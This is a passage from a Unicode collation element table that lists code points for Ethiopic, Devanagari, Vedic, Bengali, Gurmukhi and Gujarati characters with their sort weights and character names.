; [.25F5.0020.0002] # ETHIOPIC SYLLABLE TSE -133E ; [.25F6.0020.0002] # ETHIOPIC SYLLABLE TSO -133F ; [.25F7.0020.0002] # ETHIOPIC SYLLABLE TSWA -AB28 ; [.25F8.0020.0002] # ETHIOPIC SYLLABLE BBA -AB29 ; [.25F9.0020.0002] # ETHIOPIC SYLLABLE BBU -AB2A ; [.25FA.0020.0002] # ETHIOPIC SYLLABLE BBI -AB2B ; [.25FB.0020.0002] # ETHIOPIC SYLLABLE BBAA -AB2C ; [.25FC.0020.0002] # ETHIOPIC SYLLABLE BBEE -AB2D ; [.25FD.0020.0002] # ETHIOPIC SYLLABLE BBE -AB2E ; [.25FE.0020.0002] # ETHIOPIC SYLLABLE BBO -1340 ; [.25FF.0020.0002] # ETHIOPIC SYLLABLE TZA -1341 ; [.2600.0020.0002] # ETHIOPIC SYLLABLE TZU -1342 ; [.2601.0020.0002] # ETHIOPIC SYLLABLE TZI -1343 ; [.2602.0020.0002] # ETHIOPIC SYLLABLE TZAA -1344 ; [.2603.0020.0002] # ETHIOPIC SYLLABLE TZEE -1345 ; [.2604.0020.0002] # ETHIOPIC SYLLABLE TZE -1346 ; [.2605.0020.0002] # ETHIOPIC SYLLABLE TZO -1347 ; [.2606.0020.0002] # ETHIOPIC SYLLABLE TZOA -1348 ; [.2607.0020.0002] # ETHIOPIC SYLLABLE FA -1349 ; [.2608.0020.0002] # ETHIOPIC SYLLABLE FU -134A ; [.2609.0020.0002] # ETHIOPIC SYLLABLE FI -134B ; [.260A.0020.0002] # ETHIOPIC SYLLABLE FAA -134C ; [.260B.0020.0002] # ETHIOPIC SYLLABLE FEE -134D ; [.260C.0020.0002] # ETHIOPIC SYLLABLE FE -134E ; [.260D.0020.0002] # ETHIOPIC SYLLABLE FO -134F ; [.260E.0020.0002] # ETHIOPIC SYLLABLE FWA -1388 ; [.260F.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT FWA -1389 ; [.2610.0020.0002] # ETHIOPIC SYLLABLE FWI -138A ; [.2611.0020.0002] # ETHIOPIC SYLLABLE FWEE -138B ; [.2612.0020.0002] # ETHIOPIC SYLLABLE FWE -1350 ; [.2613.0020.0002] # ETHIOPIC SYLLABLE PA -1351 ; [.2614.0020.0002] # ETHIOPIC SYLLABLE PU -1352 ; [.2615.0020.0002] # ETHIOPIC SYLLABLE PI -1353 ; [.2616.0020.0002] # ETHIOPIC SYLLABLE PAA -1354 ; [.2617.0020.0002] # ETHIOPIC SYLLABLE PEE -1355 ; [.2618.0020.0002] # ETHIOPIC SYLLABLE PE -1356 ; [.2619.0020.0002] # ETHIOPIC SYLLABLE PO -1357 ; [.261A.0020.0002] # ETHIOPIC SYLLABLE PWA -138C ; [.261B.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT PWA -138D ; [.261C.0020.0002] # ETHIOPIC SYLLABLE PWI -138E ; [.261D.0020.0002] # ETHIOPIC SYLLABLE PWEE -138F ; [.261E.0020.0002] # ETHIOPIC SYLLABLE PWE -2D92 ; [.261F.0020.0002] # ETHIOPIC SYLLABLE POA -1358 ; [.2620.0020.0002] # ETHIOPIC SYLLABLE RYA -1359 ; [.2621.0020.0002] # ETHIOPIC SYLLABLE MYA -135A ; [.2622.0020.0002] # ETHIOPIC SYLLABLE FYA -2DA0 ; [.2623.0020.0002] # ETHIOPIC SYLLABLE SSA -2DA1 ; [.2624.0020.0002] # ETHIOPIC SYLLABLE SSU -2DA2 ; [.2625.0020.0002] # ETHIOPIC SYLLABLE SSI -2DA3 ; [.2626.0020.0002] # ETHIOPIC SYLLABLE SSAA -2DA4 ; [.2627.0020.0002] # ETHIOPIC SYLLABLE SSEE -2DA5 ; [.2628.0020.0002] # ETHIOPIC SYLLABLE SSE -2DA6 ; [.2629.0020.0002] # ETHIOPIC SYLLABLE SSO -2DA8 ; [.262A.0020.0002] # ETHIOPIC SYLLABLE CCA -2DA9 ; [.262B.0020.0002] # ETHIOPIC SYLLABLE CCU -2DAA ; [.262C.0020.0002] # ETHIOPIC SYLLABLE CCI -2DAB ; [.262D.0020.0002] # ETHIOPIC SYLLABLE CCAA -2DAC ; [.262E.0020.0002] # ETHIOPIC SYLLABLE CCEE -2DAD ; [.262F.0020.0002] # ETHIOPIC SYLLABLE CCE -2DAE ; [.2630.0020.0002] # ETHIOPIC SYLLABLE CCO -2DB0 ; [.2631.0020.0002] # ETHIOPIC SYLLABLE ZZA -2DB1 ; [.2632.0020.0002] # ETHIOPIC SYLLABLE ZZU -2DB2 ; [.2633.0020.0002] # ETHIOPIC SYLLABLE ZZI -2DB3 ; [.2634.0020.0002] # ETHIOPIC SYLLABLE ZZAA -2DB4 ; [.2635.0020.0002] # ETHIOPIC SYLLABLE ZZEE -2DB5 ; [.2636.0020.0002] # ETHIOPIC SYLLABLE ZZE -2DB6 ; [.2637.0020.0002] # ETHIOPIC SYLLABLE ZZO -2DB8 ; [.2638.0020.0002] # ETHIOPIC SYLLABLE CCHA -2DB9 ; [.2639.0020.0002] # ETHIOPIC SYLLABLE CCHU -2DBA ; [.263A.0020.0002] # ETHIOPIC SYLLABLE CCHI -2DBB ; [.263B.0020.0002] # ETHIOPIC SYLLABLE CCHAA -2DBC ; [.263C.0020.0002] # ETHIOPIC SYLLABLE CCHEE -2DBD ; [.263D.0020.0002] # ETHIOPIC SYLLABLE CCHE -2DBE ; [.263E.0020.0002] # ETHIOPIC SYLLABLE CCHO -2DC0 ; [.263F.0020.0002] # ETHIOPIC SYLLABLE QYA -2DC1 ; [.2640.0020.0002] # ETHIOPIC SYLLABLE QYU -2DC2 ; [.2641.0020.0002] # ETHIOPIC SYLLABLE QYI -2DC3 ; [.2642.0020.0002] # ETHIOPIC SYLLABLE QYAA -2DC4 ; [.2643.0020.0002] # ETHIOPIC SYLLABLE QYEE -2DC5 ; [.2644.0020.0002] # ETHIOPIC SYLLABLE QYE -2DC6 ; [.2645.0020.0002] # ETHIOPIC SYLLABLE QYO -2DC8 ; [.2646.0020.0002] # ETHIOPIC SYLLABLE KYA -2DC9 ; [.2647.0020.0002] # ETHIOPIC SYLLABLE KYU -2DCA ; [.2648.0020.0002] # ETHIOPIC SYLLABLE KYI -2DCB ; [.2649.0020.0002] # ETHIOPIC SYLLABLE KYAA -2DCC ; [.264A.0020.0002] # ETHIOPIC SYLLABLE KYEE -2DCD ; [.264B.0020.0002] # ETHIOPIC SYLLABLE KYE -2DCE ; [.264C.0020.0002] # ETHIOPIC SYLLABLE KYO -2DD0 ; [.264D.0020.0002] # ETHIOPIC SYLLABLE XYA -2DD1 ; [.264E.0020.0002] # ETHIOPIC SYLLABLE XYU -2DD2 ; [.264F.0020.0002] # ETHIOPIC SYLLABLE XYI -2DD3 ; [.2650.0020.0002] # ETHIOPIC SYLLABLE XYAA -2DD4 ; [.2651.0020.0002] # ETHIOPIC SYLLABLE XYEE -2DD5 ; [.2652.0020.0002] # ETHIOPIC SYLLABLE XYE -2DD6 ; [.2653.0020.0002] # ETHIOPIC SYLLABLE XYO -2DD8 ; [.2654.0020.0002] # ETHIOPIC SYLLABLE GYA -2DD9 ; [.2655.0020.0002] # ETHIOPIC SYLLABLE GYU -2DDA ; [.2656.0020.0002] # ETHIOPIC SYLLABLE GYI -2DDB ; [.2657.0020.0002] # ETHIOPIC SYLLABLE GYAA -2DDC ; [.2658.0020.0002] # ETHIOPIC SYLLABLE GYEE -2DDD ; [.2659.0020.0002] # ETHIOPIC SYLLABLE GYE -2DDE ; [.265A.0020.0002] # ETHIOPIC SYLLABLE GYO -0950 ; [.265B.0020.0002] # DEVANAGARI OM -A8FD ; [.265C.0020.0002] # DEVANAGARI JAIN OM -0972 ; [.265D.0020.0002] # DEVANAGARI LETTER CANDRA A -0904 ; [.265E.0020.0002] # DEVANAGARI LETTER SHORT A -0905 ; [.265F.0020.0002] # DEVANAGARI LETTER A -0906 ; [.2660.0020.0002] # DEVANAGARI LETTER AA -0973 ; [.2661.0020.0002] # DEVANAGARI LETTER OE -0974 ; [.2662.0020.0002] # DEVANAGARI LETTER OOE -0975 ; [.2663.0020.0002] # DEVANAGARI LETTER AW -0976 ; [.2664.0020.0002] # DEVANAGARI LETTER UE -0977 ; [.2665.0020.0002] # DEVANAGARI LETTER UUE -0907 ; [.2666.0020.0002] # DEVANAGARI LETTER I -0908 ; [.2667.0020.0002] # DEVANAGARI LETTER II -0909 ; [.2668.0020.0002] # DEVANAGARI LETTER U -090A ; [.2669.0020.0002] # DEVANAGARI LETTER UU -090B ; [.266A.0020.0002] # DEVANAGARI LETTER VOCALIC R -0960 ; [.266B.0020.0002] # DEVANAGARI LETTER VOCALIC RR -090C ; [.266C.0020.0002] # DEVANAGARI LETTER VOCALIC L -0961 ; [.266D.0020.0002] # DEVANAGARI LETTER VOCALIC LL -090D ; [.266E.0020.0002] # DEVANAGARI LETTER CANDRA E -090E ; [.266F.0020.0002] # DEVANAGARI LETTER SHORT E -090F ; [.2670.0020.0002] # DEVANAGARI LETTER E -0910 ; [.2671.0020.0002] # DEVANAGARI LETTER AI -0911 ; [.2672.0020.0002] # DEVANAGARI LETTER CANDRA O -0912 ; [.2673.0020.0002] # DEVANAGARI LETTER SHORT O -0913 ; [.2674.0020.0002] # DEVANAGARI LETTER O -0914 ; [.2675.0020.0002] # DEVANAGARI LETTER AU -0915 ; [.2676.0020.0002] # DEVANAGARI LETTER KA -0958 ; [.2676.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER QA -0916 ; [.2677.0020.0002] # DEVANAGARI LETTER KHA -0959 ; [.2677.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER KHHA -0917 ; [.2678.0020.0002] # DEVANAGARI LETTER GA -095A ; [.2678.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER GHHA -097B ; [.2679.0020.0002] # DEVANAGARI LETTER GGA -0918 ; [.267A.0020.0002] # DEVANAGARI LETTER GHA -0919 ; [.267B.0020.0002] # DEVANAGARI LETTER NGA -091A ; [.267C.0020.0002] # DEVANAGARI LETTER CA -091B ; [.267D.0020.0002] # DEVANAGARI LETTER CHA -091C ; [.267E.0020.0002] # DEVANAGARI LETTER JA -095B ; [.267E.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER ZA -0979 ; [.267F.0020.0002] # DEVANAGARI LETTER ZHA -097C ; [.2680.0020.0002] # DEVANAGARI LETTER JJA -091D ; [.2681.0020.0002] # DEVANAGARI LETTER JHA -091E ; [.2682.0020.0002] # DEVANAGARI LETTER NYA -091F ; [.2683.0020.0002] # DEVANAGARI LETTER TTA -0920 ; [.2684.0020.0002] # DEVANAGARI LETTER TTHA -0978 ; [.2685.0020.0002] # DEVANAGARI LETTER MARWARI DDA -0921 ; [.2686.0020.0002] # DEVANAGARI LETTER DDA -095C ; [.2686.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER DDDHA -097E ; [.2687.0020.0002] # DEVANAGARI LETTER DDDA -0922 ; [.2688.0020.0002] # DEVANAGARI LETTER DDHA -095D ; [.2688.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER RHA -0923 ; [.2689.0020.0002] # DEVANAGARI LETTER NNA -0924 ; [.268A.0020.0002] # DEVANAGARI LETTER TA -0925 ; [.268B.0020.0002] # DEVANAGARI LETTER THA -0926 ; [.268C.0020.0002] # DEVANAGARI LETTER DA -0927 ; [.268D.0020.0002] # DEVANAGARI LETTER DHA -0928 ; [.268E.0020.0002] # DEVANAGARI LETTER NA -0929 ; [.268E.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER NNNA -092A ; [.268F.0020.0002] # DEVANAGARI LETTER PA -092B ; [.2690.0020.0002] # DEVANAGARI LETTER PHA -095E ; [.2690.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER FA -092C ; [.2691.0020.0002] # DEVANAGARI LETTER BA -097F ; [.2692.0020.0002] # DEVANAGARI LETTER BBA -092D ; [.2693.0020.0002] # DEVANAGARI LETTER BHA -092E ; [.2694.0020.0002] # DEVANAGARI LETTER MA -092F ; [.2695.0020.0002] # DEVANAGARI LETTER YA -095F ; [.2695.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER YYA -097A ; [.2696.0020.0002] # DEVANAGARI LETTER HEAVY YA -0930 ; [.2697.0020.0002] # DEVANAGARI LETTER RA -0931 ; [.2697.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER RRA -0932 ; [.2698.0020.0002] # DEVANAGARI LETTER LA -0933 ; [.2699.0020.0002] # DEVANAGARI LETTER LLA -0934 ; [.2699.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER LLLA -0935 ; [.269A.0020.0002] # DEVANAGARI LETTER VA -0936 ; [.269B.0020.0002] # DEVANAGARI LETTER SHA -0937 ; [.269C.0020.0002] # DEVANAGARI LETTER SSA -0938 ; [.269D.0020.0002] # DEVANAGARI LETTER SA -0939 ; [.269E.0020.0002] # DEVANAGARI LETTER HA -093D ; [.269F.0020.0002] # DEVANAGARI SIGN AVAGRAHA -097D ; [.26A0.0020.0002] # DEVANAGARI LETTER GLOTTAL STOP -1CE9 ; [.26A1.0020.0002] # VEDIC SIGN ANUSVARA ANTARGOMUKHA -1CEA ; [.26A1.0020.0004] # VEDIC SIGN ANUSVARA BAHIRGOMUKHA -1CEB ; [.26A1.0020.0004] # VEDIC SIGN ANUSVARA VAMAGOMUKHA -1CEC ; [.26A1.0020.0004] # VEDIC SIGN ANUSVARA VAMAGOMUKHA WITH TAIL -1CEE ; [.26A1.0020.0004] # VEDIC SIGN HEXIFORM LONG ANUSVARA -1CEF ; [.26A1.0020.0004] # VEDIC SIGN LONG ANUSVARA -1CF0 ; [.26A1.0020.0004] # VEDIC SIGN RTHANG LONG ANUSVARA -1CF1 ; [.26A1.0020.0004] # VEDIC SIGN ANUSVARA UBHAYATO MUKHA -1CF5 ; [.26A2.0020.0002] # VEDIC SIGN JIHVAMULIYA -1CF6 ; [.26A3.0020.0002] # VEDIC SIGN UPADHMANIYA -A8F2 ; [.26A4.0020.0002] # DEVANAGARI SIGN SPACING CANDRABINDU -A8F3 ; [.26A4.0020.0004] # DEVANAGARI SIGN CANDRABINDU VIRAMA -A8F4 ; [.26A4.0020.0004] # DEVANAGARI SIGN DOUBLE CANDRABINDU VIRAMA -A8F5 ; [.26A4.0020.0004] # DEVANAGARI SIGN CANDRABINDU TWO -A8F6 ; [.26A4.0020.0004] # DEVANAGARI SIGN CANDRABINDU THREE -A8F7 ; [.26A4.0020.0004] # DEVANAGARI SIGN CANDRABINDU AVAGRAHA -A8FB ; [.26A5.0020.0002] # DEVANAGARI HEADSTROKE -093E ; [.26A6.0020.0002] # DEVANAGARI VOWEL SIGN AA -093A ; [.26A7.0020.0002] # DEVANAGARI VOWEL SIGN OE -093B ; [.26A8.0020.0002] # DEVANAGARI VOWEL SIGN OOE -094F ; [.26A9.0020.0002] # DEVANAGARI VOWEL SIGN AW -0956 ; [.26AA.0020.0002] # DEVANAGARI VOWEL SIGN UE -0957 ; [.26AB.0020.0002] # DEVANAGARI VOWEL SIGN UUE -093F ; [.26AC.0020.0002] # DEVANAGARI VOWEL SIGN I -0940 ; [.26AD.0020.0002] # DEVANAGARI VOWEL SIGN II -0941 ; [.26AE.0020.0002] # DEVANAGARI VOWEL SIGN U -0942 ; [.26AF.0020.0002] # DEVANAGARI VOWEL SIGN UU -0943 ; [.26B0.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC R -0944 ; [.26B1.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC RR -0962 ; [.26B2.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC L -0963 ; [.26B3.0020.0002] # DEVANAGARI VOWEL SIGN VOCALIC LL -0945 ; [.26B4.0020.0002] # DEVANAGARI VOWEL SIGN CANDRA E -0955 ; [.26B5.0020.0002] # DEVANAGARI VOWEL SIGN CANDRA LONG E -0946 ; [.26B6.0020.0002] # DEVANAGARI VOWEL SIGN SHORT E -0947 ; [.26B7.0020.0002] # DEVANAGARI VOWEL SIGN E -094E ; [.26B8.0020.0002] # DEVANAGARI VOWEL SIGN PRISHTHAMATRA E -0948 ; [.26B9.0020.0002] # DEVANAGARI VOWEL SIGN AI -0949 ; [.26BA.0020.0002] # DEVANAGARI VOWEL SIGN CANDRA O -094A ; [.26BB.0020.0002] # DEVANAGARI VOWEL SIGN SHORT O -094B ; [.26BC.0020.0002] # DEVANAGARI VOWEL SIGN O -094C ; [.26BD.0020.0002] # DEVANAGARI VOWEL SIGN AU -094D ; [.26BE.0020.0002] # DEVANAGARI SIGN VIRAMA -0980 ; [.26BF.0020.0002] # BENGALI ANJI -0985 ; [.26C0.0020.0002] # BENGALI LETTER A -0986 ; [.26C1.0020.0002] # BENGALI LETTER AA -0987 ; [.26C2.0020.0002] # BENGALI LETTER I -0988 ; [.26C3.0020.0002] # BENGALI LETTER II -0989 ; [.26C4.0020.0002] # BENGALI LETTER U -098A ; [.26C5.0020.0002] # BENGALI LETTER UU -098B ; [.26C6.0020.0002] # BENGALI LETTER VOCALIC R -09E0 ; [.26C7.0020.0002] # BENGALI LETTER VOCALIC RR -098C ; [.26C8.0020.0002] # BENGALI LETTER VOCALIC L -09E1 ; [.26C9.0020.0002] # BENGALI LETTER VOCALIC LL -098F ; [.26CA.0020.0002] # BENGALI LETTER E -0990 ; [.26CB.0020.0002] # BENGALI LETTER AI -0993 ; [.26CC.0020.0002] # BENGALI LETTER O -0994 ; [.26CD.0020.0002] # BENGALI LETTER AU -0995 ; [.26CE.0020.0002] # BENGALI LETTER KA -0996 ; [.26CF.0020.0002] # BENGALI LETTER KHA -0997 ; [.26D0.0020.0002] # BENGALI LETTER GA -0998 ; [.26D1.0020.0002] # BENGALI LETTER GHA -0999 ; [.26D2.0020.0002] # BENGALI LETTER NGA -099A ; [.26D3.0020.0002] # BENGALI LETTER CA -099B ; [.26D4.0020.0002] # BENGALI LETTER CHA -099C ; [.26D5.0020.0002] # BENGALI LETTER JA -099D ; [.26D6.0020.0002] # BENGALI LETTER JHA -099E ; [.26D7.0020.0002] # BENGALI LETTER NYA -099F ; [.26D8.0020.0002] # BENGALI LETTER TTA -09A0 ; [.26D9.0020.0002] # BENGALI LETTER TTHA -09A1 ; [.26DA.0020.0002] # BENGALI LETTER DDA -09DC ; [.26DA.0020.0002][.0000.00C2.0002] # BENGALI LETTER RRA -09A2 ; [.26DB.0020.0002] # BENGALI LETTER DDHA -09DD ; [.26DB.0020.0002][.0000.00C2.0002] # BENGALI LETTER RHA -09A3 ; [.26DC.0020.0002] # BENGALI LETTER NNA -09A4 ; [.26DD.0020.0002] # BENGALI LETTER TA -09CE ; [.26DD.0020.0004][.26FE.0020.0004] # BENGALI LETTER KHANDA TA -09A5 ; [.26DE.0020.0002] # BENGALI LETTER THA -09A6 ; [.26DF.0020.0002] # BENGALI LETTER DA -09A7 ; [.26E0.0020.0002] # BENGALI LETTER DHA -09A8 ; [.26E1.0020.0002] # BENGALI LETTER NA -09AA ; [.26E2.0020.0002] # BENGALI LETTER PA -09AB ; [.26E3.0020.0002] # BENGALI LETTER PHA -09AC ; [.26E4.0020.0002] # BENGALI LETTER BA -09AD ; [.26E5.0020.0002] # BENGALI LETTER BHA -09AE ; [.26E6.0020.0002] # BENGALI LETTER MA -09AF ; [.26E7.0020.0002] # BENGALI LETTER YA -09DF ; [.26E7.0020.0002][.0000.00C2.0002] # BENGALI LETTER YYA -09B0 ; [.26E8.0020.0002] # BENGALI LETTER RA -09F0 ; [.26E9.0020.0002] # BENGALI LETTER RA WITH MIDDLE DIAGONAL -09B2 ; [.26EA.0020.0002] # BENGALI LETTER LA -09F1 ; [.26EB.0020.0002] # BENGALI LETTER RA WITH LOWER DIAGONAL -09B6 ; [.26EC.0020.0002] # BENGALI LETTER SHA -09B7 ; [.26ED.0020.0002] # BENGALI LETTER SSA -09B8 ; [.26EE.0020.0002] # BENGALI LETTER SA -09B9 ; [.26EF.0020.0002] # BENGALI LETTER HA -09BD ; [.26F0.0020.0002] # BENGALI SIGN AVAGRAHA -09BE ; [.26F1.0020.0002] # BENGALI VOWEL SIGN AA -09BF ; [.26F2.0020.0002] # BENGALI VOWEL SIGN I -09C0 ; [.26F3.0020.0002] # BENGALI VOWEL SIGN II -09C1 ; [.26F4.0020.0002] # BENGALI VOWEL SIGN U -09C2 ; [.26F5.0020.0002] # BENGALI VOWEL SIGN UU -09C3 ; [.26F6.0020.0002] # BENGALI VOWEL SIGN VOCALIC R -09C4 ; [.26F7.0020.0002] # BENGALI VOWEL SIGN VOCALIC RR -09E2 ; [.26F8.0020.0002] # BENGALI VOWEL SIGN VOCALIC L -09E3 ; [.26F9.0020.0002] # BENGALI VOWEL SIGN VOCALIC LL -09C7 ; [.26FA.0020.0002] # BENGALI VOWEL SIGN E -09C8 ; [.26FB.0020.0002] # BENGALI VOWEL SIGN AI -09CB ; [.26FC.0020.0002] # BENGALI VOWEL SIGN O -09C7 09BE ; [.26FC.0020.0002] # BENGALI VOWEL SIGN O -09CC ; [.26FD.0020.0002] # BENGALI VOWEL SIGN AU -09C7 09D7 ; [.26FD.0020.0002] # BENGALI VOWEL SIGN AU -09CD ; [.26FE.0020.0002] # BENGALI SIGN VIRAMA -09D7 ; [.26FF.0020.0002] # BENGALI AU LENGTH MARK -0A74 ; [.2700.0020.0002] # GURMUKHI EK ONKAR -0A73 ; [.2701.0020.0002] # GURMUKHI URA -0A09 ; [.2702.0020.0002] # GURMUKHI LETTER U -0A0A ; [.2703.0020.0002] # GURMUKHI LETTER UU -0A13 ; [.2704.0020.0002] # GURMUKHI LETTER OO -0A05 ; [.2705.0020.0002] # GURMUKHI LETTER A -0A06 ; [.2706.0020.0002] # GURMUKHI LETTER AA -0A10 ; [.2707.0020.0002] # GURMUKHI LETTER AI -0A14 ; [.2708.0020.0002] # GURMUKHI LETTER AU -0A72 ; [.2709.0020.0002] # GURMUKHI IRI -0A07 ; [.270A.0020.0002] # GURMUKHI LETTER I -0A08 ; [.270B.0020.0002] # GURMUKHI LETTER II -0A0F ; [.270C.0020.0002] # GURMUKHI LETTER EE -0A38 ; [.270D.0020.0002] # GURMUKHI LETTER SA -0A36 ; [.270D.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER SHA -0A39 ; [.270E.0020.0002] # GURMUKHI LETTER HA -0A51 ; [.270F.0020.0002] # GURMUKHI SIGN UDAAT -0A15 ; [.2710.0020.0002] # GURMUKHI LETTER KA -0A16 ; [.2711.0020.0002] # GURMUKHI LETTER KHA -0A59 ; [.2711.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER KHHA -0A17 ; [.2712.0020.0002] # GURMUKHI LETTER GA -0A5A ; [.2712.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER GHHA -0A18 ; [.2713.0020.0002] # GURMUKHI LETTER GHA -0A19 ; [.2714.0020.0002] # GURMUKHI LETTER NGA -0A1A ; [.2715.0020.0002] # GURMUKHI LETTER CA -0A1B ; [.2716.0020.0002] # GURMUKHI LETTER CHA -0A1C ; [.2717.0020.0002] # GURMUKHI LETTER JA -0A5B ; [.2717.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER ZA -0A1D ; [.2718.0020.0002] # GURMUKHI LETTER JHA -0A1E ; [.2719.0020.0002] # GURMUKHI LETTER NYA -0A1F ; [.271A.0020.0002] # GURMUKHI LETTER TTA -0A20 ; [.271B.0020.0002] # GURMUKHI LETTER TTHA -0A21 ; [.271C.0020.0002] # GURMUKHI LETTER DDA -0A22 ; [.271D.0020.0002] # GURMUKHI LETTER DDHA -0A23 ; [.271E.0020.0002] # GURMUKHI LETTER NNA -0A24 ; [.271F.0020.0002] # GURMUKHI LETTER TA -0A25 ; [.2720.0020.0002] # GURMUKHI LETTER THA -0A26 ; [.2721.0020.0002] # GURMUKHI LETTER DA -0A27 ; [.2722.0020.0002] # GURMUKHI LETTER DHA -0A28 ; [.2723.0020.0002] # GURMUKHI LETTER NA -0A2A ; [.2724.0020.0002] # GURMUKHI LETTER PA -0A2B ; [.2725.0020.0002] # GURMUKHI LETTER PHA -0A5E ; [.2725.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER FA -0A2C ; [.2726.0020.0002] # GURMUKHI LETTER BA -0A2D ; [.2727.0020.0002] # GURMUKHI LETTER BHA -0A2E ; [.2728.0020.0002] # GURMUKHI LETTER MA -0A2F ; [.2729.0020.0002] # GURMUKHI LETTER YA -0A75 ; [.272A.0020.0002] # GURMUKHI SIGN YAKASH -0A30 ; [.272B.0020.0002] # GURMUKHI LETTER RA -0A32 ; [.272C.0020.0002] # GURMUKHI LETTER LA -0A33 ; [.272C.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER LLA -0A35 ; [.272D.0020.0002] # GURMUKHI LETTER VA -0A5C ; [.272E.0020.0002] # GURMUKHI LETTER RRA -0A3E ; [.272F.0020.0002] # GURMUKHI VOWEL SIGN AA -0A3F ; [.2730.0020.0002] # GURMUKHI VOWEL SIGN I -0A40 ; [.2731.0020.0002] # GURMUKHI VOWEL SIGN II -0A41 ; [.2732.0020.0002] # GURMUKHI VOWEL SIGN U -0A42 ; [.2733.0020.0002] # GURMUKHI VOWEL SIGN UU -0A47 ; [.2734.0020.0002] # GURMUKHI VOWEL SIGN EE -0A48 ; [.2735.0020.0002] # GURMUKHI VOWEL SIGN AI -0A4B ; [.2736.0020.0002] # GURMUKHI VOWEL SIGN OO -0A4C ; [.2737.0020.0002] # GURMUKHI VOWEL SIGN AU -0A4D ; [.2738.0020.0002] # GURMUKHI SIGN VIRAMA -0AD0 ; [.2739.0020.0002] # GUJARATI OM -0A85 ; [.273A.0020.0002] # GUJARATI LETTER A -0A86 ; [.273B.0020.0002] # GUJARATI LETTER AA -0A87 ; [.273C.0020.0002] # GUJARATI LETTER I -0A88 ; [.273D.0020.0002] # GUJARATI LETTER II -0A89 ; [.273E.0020.0002] # GUJARATI LETTER U -0A8A ; [.273F.0020.0002] # GUJARATI LETTER UU -0A8B ; [.2740.0020.0002] # GUJARATI LETTER VOCALIC R -0AE0 ; [.2741.0020.0002] # GUJARATI LETTER VOCALIC RR -0A8C ; [.2742.0020.0002] # GUJARATI LETTER VOCALIC L -0AE1 ; [.2743.0020.0002] # GUJARATI LETTER VOCALIC LL -0A8D ; [.2744.0020.0002] # GUJARATI VOWEL CANDRA E -0A8F ; [.2745.0020.0002] # GUJARATI LETTER E -0A90 ; [.2746.0020.0002] # GUJARATI LETTER AI -0A91 ; [.2747.0020.0002] # GUJARATI VOWEL CANDRA O -0A93 ; [.2748.0020.0002] # GUJARATI LETTER O -0A94 ; [.2749.0020.0002] # GUJARATI LETTER AU -0A95 ; [.274A.0020.0002] # GUJARATI LETTER KA -0A96 ; [.274B.0020.0002] # GUJARATI LETTER KHA -0A97 ; [.274C.0020.0002] # GUJARATI LETTER GA -0A98 ; [.274D.0020.0002] # GUJARATI LETTER GHA -0A99 ; [.274E.0020.0002] # GUJARATI LETTER NGA -0A9A ; [.274F.0020.0002] # GUJARATI LETTER CA -0A9B ; [.2750.0020.0002] # GUJARATI LETTER CHA -0A9C ; [.2751.0020.0002] # GUJARATI LETTER JA -0AF9 ; [.2752.0020.0002] # GUJARATI LETTER ZHA -0A9D ; [.2753.0020.0002] # GUJARATI LETTER JHA -0A9E ; [.2754.0020.0002] # GUJARATI LETTER NYA -0A9F ; [.2755.0020.0002] # GUJARATI LETTER TTA -0AA0 ; [.2756.0020.0002] # GUJARATI LETTER TTHA -0AA1 ; [.2757.0020.0002] # GUJARATI LETTER DDA -0AA2 ; [.2758.0020.0002] # GUJARATI LETTER DDHA -0AA3 ; [.2759.0020.0002] # GUJARATI LETTER NNA -0AA4 ; [.275A.0020.0002] # GUJARATI LETTER TA -0AA5 ; [.275B.0020.0002] # GUJARATI LETTER THA -0AA6 ; [.275C.0020.0002] # GUJARATI LETTER DA -0AA7 ; [.275D.0020.0002] # GUJARATI LETTER DHA -0AA8 ; [.275E.0020.0002] # GUJARATI LETTER NA -0AAA ; [.275F.0020.0002] # GUJARATI LETTER PA -0AAB ; [.2760.0020.0002] # GUJARATI LETTER PHA -0AAC ; [.2761.0020.0002] # GUJARATI LETTER BA -0AAD ; [.2762.0020.0002] # GUJARATI LETTER BHA -0AAE ; [.2763.0020.0002] # GUJARATI LETTER MA -0AAF ; [.2764.0020.0002] # GUJARATI LETTER YA -0AB0 ; [.2765.0020.0002] # GUJARATI LETTER RA -0AB2 ; [.2766.0020.0002] # GUJARATI LETTER LA -0AB5 ; [.2767.0020.0002] # GUJARATI LETTER VA -0AB6 ; [.2768.0020.0002] # GUJARATI LETTER SHA -0AB7 ; [.2769.0020.0002] # GUJARATI LETTER SSA -0AB8 ; [.276A.0020.0002] # GUJARATI LETTER SA -0AB9 ; [.276B.0020.0002] # GUJARATI LETTER HA -0AB3 ; [.276C.0020.0002] # GUJARATI LETTER LLA -0ABD ; [.276D.0020.0002] # GUJARATI SIGN AVAGRAHA -0ABE ; [.276E.0020.0002] # GUJARATI VOWEL SIGN AA -0ABF ; [.276F.0020.0002] # GUJARATI VOWEL SIGN I -0AC0 ; [.2770.0020.0002] # GUJARATI VOWEL SIGN II -0AC1 ; [.2771.0020.0002] # GUJARATI VOWEL SIGN U -0AC2 ; [.2772.0020.0002] # GUJARATI VOWEL SIGN UU -0AC3 ; [.2773.0020.0002] # GUJARATI VOWEL SIGN VOCALIC R -0AC4 ; [.2774.0020.0002] # GUJARATI VOWEL SIGN VOCALIC RR -0AE2 ; [.2775.0020.0002] # GUJARATI VOWEL SIGN VOCALIC L -0AE3 ; [.2776.0020.0002] # GUJARATI VOWEL SIGN VOCALIC LL -0AC5 ; [.2777.0020.0002] # GUJARATI VOWEL SIGN CANDRA E -0AC7 ; 